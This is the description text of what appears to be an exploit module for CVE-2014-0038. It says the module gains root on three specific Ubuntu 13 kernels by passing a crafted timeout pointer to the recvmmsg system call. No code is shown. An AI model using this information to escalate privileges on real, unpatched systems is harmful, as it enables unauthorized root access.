          This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
          system call with a crafted timeout pointer parameter to gain root.
          This exploit has offsets for 3 Ubuntu 13 kernels built in:
          3.8.0-19-generic (13.04 default)
          3.11.0-12-generic (13.10 default)
          3.11.0-15-generic (13.10)
          This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
          pointer which starts at 0xff*3 (765 seconds)
